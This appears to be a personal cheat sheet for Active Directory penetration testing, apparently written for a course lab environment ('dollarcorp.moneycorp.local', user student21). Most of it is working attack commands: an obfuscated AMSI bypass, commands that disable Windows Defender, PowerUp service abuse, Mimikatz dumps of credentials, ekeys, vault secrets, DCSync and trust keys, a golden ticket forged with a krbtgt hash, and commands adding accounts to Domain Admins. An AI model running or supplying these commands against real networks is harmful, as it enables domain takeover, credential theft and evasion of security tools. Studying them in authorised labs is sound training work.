- Remember to bypass AMSI on every new user
- Check the Execution policy language mode
- Check all the commands you are allowed to execute
- Complete basic Enum
- enumerate all users
- enumerate all domain computers
- GPO && OU
- ACL's
- Trusts
- Blood-hound
- SPN
- Run powerups.ps1
- ServiceUnquoted
- ModifiableServiceFile
- ModifiableService
- Priv Esc for the above use : Invoke-ServiceAbuse
- whoami /all || whoami /priv
- Check Windows abuse and priv esc
- Hunt for Local Admin users if available from Trust Enum
- Priv Esc for the above use : PSsession or refer Invoke-Command
- Check if you can Priv esc using jenkins
- Lastly add the user to the localgroup administrators
NOTE : ONCE A LOCAL ADMINISTRATOR RUN PS as ADMINISTRATOR
- Hunt for Local Admin Users
- Check The local Admin Access
- If yes, Use Invoke-Command or Enter-PSSession
- Check the Execution policy language mode
- Checking AppLockerPolicy and note the paths available for us
- Disable Defender protections
- Modify Invoke-Mimikatz.ps1 script to call the function in the script itself because we can't dot source files if in constrained language mode
- run script without dot sourcing it
- Dump the hashes
- Get the ekeys
- Get Credentials from the credentials vault
- Dump the hashes us the user using Invoke-Mimikatz
- Get the ekeys
- Get Credentials from the credentials vault
- Using Over-Pass-the-Hash Attack spawn a PowerShell session as that user
- Follow the same exact steps from 3. to 5. if a new user is found
- After we get a DA user with Administrator access we can connect to the DC using Enter-PSSession
- Golden Ticket
- Silver Ticket
- DSRM
- ACL AdminSDHolder
- ACL DCSync
- ACL security Descriptors
- Forge inter-forest ticket by trust keys
# AMSI
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Bypass real time monitoring ( admin privs )
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
# Users
Get-NetUser
# computers
Get-NetComputer
# domain admin
Get-NetDomain
# See Attributes of the Domain Admins Group
Get-NetGroup -GroupName "Domain Admins" -FullData
# Get Members of the Domain Admins group
Get-NetGroupMember -GroupName "Domain Admins"
# Forest
Get-NetDomainTrust
Get-NetForestDomain | Get-NetDomainTrust
# If bidirectional
Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-NetDomainTrust
#Kerberoastable users
Get-NetUser -SPN
# Bloodhound
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All,LoggedOn
# SQL
Import-Module .\PowerUpSQL.psd1
Get-SQLInstanceDomain
NOTE : ONCE A LOCAL ADMINISTRATOR RUN PS as ADMINISTRATOR
# Powerups
Invoke-Allchecks
# Abusing services
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\student21'
# Run mimikatz
Invoke-Mimikatz
# Local admin user
Find-LocalAdminAccess -Verbose
Invoke-UserHunter -CheckAccess -Verbose
# Enter session
$sess = New-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$sess
Enter-PSSession -Session $sess
# language mode
$ExecutionContext.SessionState.LanguageMode
# applocker
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Disable FireWall !!!
# Mimikatz
# Modify to make it work without dot sourcing
wget or curl or iex(iwr)
.\Invoke-Mimikatz.ps1
Invoke-Mimikatz
# note the rc4
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"'
# Once you are DA add user to DA group
Invoke-Command -ScriptBlock {net group "DOMAIN ADMINS" student21 /domain /add} -ComputerName dcorp-dc.dollarcorp.moneycorp.local
C:> net localgroup Administrators student21 /add
C:> net localgroup "Remote Desktop Users" student21 /add
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
Invoke-Mimikatz
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:DOLLARCORP.MONEYCORP.LOCAL /all /csv"'
Invoke-Mimikatz -Command '"kerberos::golden /user:student21 /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'
gwmi -Class win32_computersystem -ComputerName mcorp-dc.moneycorp.local
net localgroup administrators
# add to localgroup admins
net localgroup Administrators student21 /add
# add to RDP group
net localgroup "Remote Desktop Users" student21 /add
# Add to DA
net group "DOMAIN ADMINS" student21 /domain /add
# Checking First Degree Object Controls
# if the user is part of a group example sql admins and has generic all access we can do the following
net group "SQLMANAGERS" examAd /domain /add